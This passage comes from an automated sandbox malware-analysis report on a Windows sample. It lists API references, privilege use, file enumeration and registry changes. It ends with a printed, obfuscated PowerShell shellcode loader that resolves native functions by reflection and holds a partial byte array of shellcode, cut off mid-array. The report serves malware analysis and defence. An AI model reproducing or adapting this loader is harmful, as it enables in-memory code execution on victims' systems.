00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")52:T8cb,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\* (UID: 00000000-00003404) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003404) "powershell.exe" called "FindNextFileW" with parameter 36eaccfde177c2e7b93b8dbdde4e012a (UID: 00000000-00003404) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Pb378ec07#\* (UID: 00000000-00003404) "powershell.exe" called "FindNextFileW" with parameter d254c63bedcb76c81c3125bd527b7d1a (UID: 00000000-00003404) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\* (UID: 00000000-00003404) "powershell.exe" called "FindNextFileW" with parameter 0b2f69b43a576b9edcc807a30872bd91 (UID: 00000000-00003404) "powershell.exe" called "FindNextFileW" with parameter 2c3c912ea8f058f9d04c4650128feb3f (UID: 00000000-00003404) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\* (UID: 00000000-00003404) "powershell.exe" called "FindNextFileW" with parameter 31fae3290fad30c31c98651462d22724 (UID: 00000000-00003404) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Manaa57fc8cc#\* (UID: 00000000-00003404) "powershell.exe" called "FindNextFileW" with parameter 73a1a80aed03e789a49cec899b7505dd (UID: 00000000-00003404) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Data\* (UID: 00000000-00003404) "powershell.exe" called "FindNextFileW" with parameter b9463297e0537784be981f4d68498abc (UID: 00000000-00003404) "powershell.exe" called "FindNextFileW" with parameter df2dd09ed7c341842a104e1e668f184e (UID: 00000000-00003404) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\* (UID: 00000000-00003404) "powershell.exe" called "FindNextFileW" with parameter 15af16d373cf0528cb74fc73d365fdbf (UID: 00000000-00003404) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Management\* (UID: 00000000-00003404)53:T6ef,Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")54:Te2d,Found string "\Device\HarddiskVolume2\Windows\Temp\67722FD9-4301-4599-BD57-52D2879188D9\DismHost.exe" (Indicator: "\Device\"; Source: "00000000-00005460.00000000.84867.000C0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00005460.00000001.86338.0010A000.00000004.mdmp") Found string ":\Windows\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00005460.00000001.86338.0010A000.00000004.mdmp") Found string "C:\Windows\System32\DriverStore\FileRepository\pvscsi.inf_x86_neutral_2e237bca5c8036a7\pvscsi.inf" (Indicator: "system32\drivers"; Source: "00000000-00005460.00000001.86338.0010A000.00000004.mdmp") Found string "C:\Windows\System32\DriverStore\FileRepository\vm3d.inf_x86_neutral_abfe51358467898f\vm3d.inf" (Indicator: "system32\drivers"; Source: "00000000-00005460.00000001.86338.0010A000.00000004.mdmp") Found string "indows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00005460.00000001.86338.0010A000.00000004.mdmp") Found string "PID=5460 Successfully opened driver package file 'C:\Windows\System32\DriverStore\FileRepository\pvscsi.inf_x86_neutral_2e237bca5c8036a7\pvscsi.inf'. - CDriverManager::OpenPackageByFile" (Indicator: "system32\drivers"; Source: "00000000-00005460.00000001.86338.0010A000.00000004.mdmp") Found string "PID=5460 Building driver collection for package 'C:\Windows\System32\DriverStore\FileRepository\pvscsi.inf_x86_neutral_2e237bca5c8036a7\pvscsi.inf'. - CDriverPackage::CreateDriverCollection" (Indicator: "system32\drivers"; Source: "00000000-00005460.00000001.86338.0010A000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00005644.00000000.77036.00650000.00000004.mdmp, 00000000-00005644.00000001.78962.00650000.00000004.mdmp, 00000000-00005644.00000002.80885.00650000.00000004.mdmp, 00000000-00005644.00000003.86403.00650000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00005644.00000000.77036.00650000.00000004.mdmp, 00000000-00005644.00000001.78962.00650000.00000004.mdmp, 00000000-00005644.00000002.80885.00650000.00000004.mdmp, 00000000-00005644.00000003.86403.00650000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00005644.00000000.77036.00650000.00000004.mdmp, 00000000-00005644.00000001.78962.00650000.00000004.mdmp, 00000000-00005644.00000002.80885.00650000.00000004.mdmp, 00000000-00005644.00000003.86403.00650000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00005644.00000000.77036.00650000.00000004.mdmp, 00000000-00005644.00000001.78962.00650000.00000004.mdmp, 00000000-00005644.00000002.80885.00650000.00000004.mdmp, 00000000-00005644.00000003.86403.00650000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00005644.00000000.77036.00650000.00000004.mdmp, 00000000-00005644.00000001.78962.00650000.00000004.mdmp, 00000000-00005644.00000002.80885.00650000.00000004.mdmp, 00000000-00005644.00000003.86403.00650000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00005644.00000000.77036.00650000.00000004.mdmp, 00000000-00005644.00000001.78962.00650000.00000004.mdmp, 00000000-00005644.00000002.80885.00650000.00000004.mdmp, 00000000-00005644.00000003.86403.00650000.00000004.mdmp")55:T49e,Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp")56:T7a7,Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00005644.00000003.86403.00150000.00000004.mdmp")57:Tf00,Found reference to API "GetSecurityDescriptorGroup" (Indicator: "GetSecurityDescriptorGroup"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "GetSecurityDescriptorOwner" (Indicator: "GetSecurityDescriptorOwner"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "GetAclInformation" (Indicator: "GetAclInformation"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "IsValidSecurityDescriptor" (Indicator: "IsValidSecurityDescriptor"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "GetSecurityDescriptorSacl" (Indicator: "GetSecurityDescriptorSacl"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "AddAce" (Indicator: "AddAce"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "IsValidSid" (Indicator: "IsValidSid"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "GetSidLengthRequired" (Indicator: "GetSidLengthRequired"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "MakeAbsoluteSD" (Indicator: "MakeAbsoluteSD"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "SetSecurityDescriptorOwner" (Indicator: "SetSecurityDescriptorOwner"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "CopySid" (Indicator: "CopySid"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "GetSecurityDescriptorDacl" (Indicator: "GetSecurityDescriptorDacl"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "SetSecurityDescriptorGroup" (Indicator: "SetSecurityDescriptorGroup"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "InitializeSid" (Indicator: "InitializeSid"; File: "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289") Found reference to API "AddAce" (Indicator: "AddAce"; Source: "00000000-00005460.00000001.86338.00C81000.00000020.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00005460.00000001.86338.00C81000.00000020.mdmp") Found reference to API "GetSecurityDescriptorControl" (Indicator: "GetSecurityDescriptorControl"; Source: "00000000-00005460.00000001.86338.00C81000.00000020.mdmp") Found reference to API "MakeAbsoluteSD" (Indicator: "MakeAbsoluteSD"; Source: "00000000-00005460.00000001.86338.00C81000.00000020.mdmp") Found reference to API "GetSecurityDescriptorSacl" (Indicator: "GetSecurityDescriptorSacl"; Source: "00000000-00005460.00000001.86338.00C81000.00000020.mdmp")58:Td41,Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "GetSecurityDescriptorControl" which can "retrieve a security descriptor control and revision information" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "GetSecurityDescriptorGroup" which can "retrieve the primary group information from a security descriptor" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "GetSecurityDescriptorOwner" which can "retrieve the owner information from a security descriptor" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "GetSecurityDescriptorSacl" which can "retrieve a pointer to the system access control list (SACL) in a specified security descriptor" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "GetSidLengthRequired" which can "return the length, in bytes, of the buffer required to store a SID with a specified number of subauthorities" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "IsValidSecurityDescriptor" which can "determine whether the components of a security descriptor are valid" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "MakeAbsoluteSD" which can "create a security descriptor in absolute format by using a security descriptor in self-relative format as a template" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "SetSecurityDescriptorGroup" which can "set the primary group information of an absolute-format security descriptor replacing any primary group information already present in the security descriptor" [Source: DISMHOST.EXE.6DC1D0A6.bin] Observed import api "SetSecurityDescriptorOwner" which can "set the owner information of an absolute-format security descriptor" [Source: DISMHOST.EXE.6DC1D0A6.bin]59:Tcca,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")5a:T401,"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "C4FFFFFF00") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "88FFFFFF00") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\CENTRAL BRAZILIAN STANDARD TIME"; Key: "TZI"; Value: "F000000000000000C4FFFFFF000002000600030017003B003B00E70300000A000600020017003B003B00E70300") "e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\E. SOUTH AMERICA STANDARD TIME"; Key: "TZI"; Value: "B400000000000000C4FFFFFF000002000600030017003B003B00E70300000A000600020017003B003B00E70300")5b:T4815,Process "powershell.exe" based on artifact "CreateThread" (UID: 00000000-00003404, Additional Context: "#fwwrdoqfefmdzqxquedyhgfigfakbutekc sleep(15);try{ #iqmfurgb function gdelegate{ #oafv Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters [Parameter(Position=1)] [Type] $ReturnType=[Void]); #pjvnxievbk $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")) [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]); #aqir $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); #umqwhtwer $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); #jpyxlo return $TypeBuilder.CreateType();} #duepeeqx function gproc{ #zgasc Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module [Parameter(Position=1,Mandatory=$True)] [String] $Procedure); #bturhlps $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")}; #ecaqdvwmi $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); #nufemwglj return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr) $UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))) $Procedure));} #bqdzumsw [Byte[]] $sc32 = 0x55 0x8B 0xEC 0x81 0xC4 0x00 0xFA 0xFF 0xFF 0x53 0x56 0x57 0x53 0x56 0x57 0xFC 0x31 0xD2 0x64 <#vq#>0x8B 0x52 0x30 0x8B 0x52 0x0C 0x8B 0x52 0x14 0x8B 0x72 0x28 0x6A 0x18 0x59 0x31 0xFF 0x31 0xC0 0xAC 0x3C 0x61 0x7C 0x02 0x2C <#ep#>0x20 0xC1 0xCF 0x0D 0x01 0xC7 <#os#>0xE2 0xF0 0x81 0xFF 0x5B 0xBC 0x4A 0x6A 0x8B 0x5A 0x10 0x8B 0x12 0x75 0xDB 0x89 0x5D 0xFC 0x5F 0x5E 0x5B 0x8B 0x45 0xFC 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x0F 0x02 0x00 0x00 0x8B <#yo#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 <#gzi#>0x3C 0x99 0x03 0x04 0x24 0x13 0x54 <#gyn#>0x24 0x04 0x83 0xC4 0x08 0x89 <#pw#>0x45 0xD0 0x8B 0x45 0xD0 <#cn#>0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xE5 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 <#fc#>0x78 0x03 0x45 0xFC 0x89 0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0xCB 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0x45 0xFC 0x33 0xD2 <#mcl#>0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 <#dp#>0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 <#skb#>0x83 0xC4 0x08 0x03 <#er#>0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0x4D 0xFC 0x81 0x39 0x4C 0x6F 0x61 0x64 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x4C 0x69 0x62 0x72 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x61 <#ic#>0x72 0x79 0x41 0x75 0x40 <#om#>0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B <#ocj#>0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xBC 0x81 0x39 0x47 0x65 <#xdc#>0x74 0x50 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x72 0x6F 0x63 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x64 0x64 0x72 0x65 <#fdd#>0x75 0x40 0x8D 0x41 0x0E 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 <#oya#>0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 <#cbh#>0x04 0x24 0x13 0x54 0x24 0x04 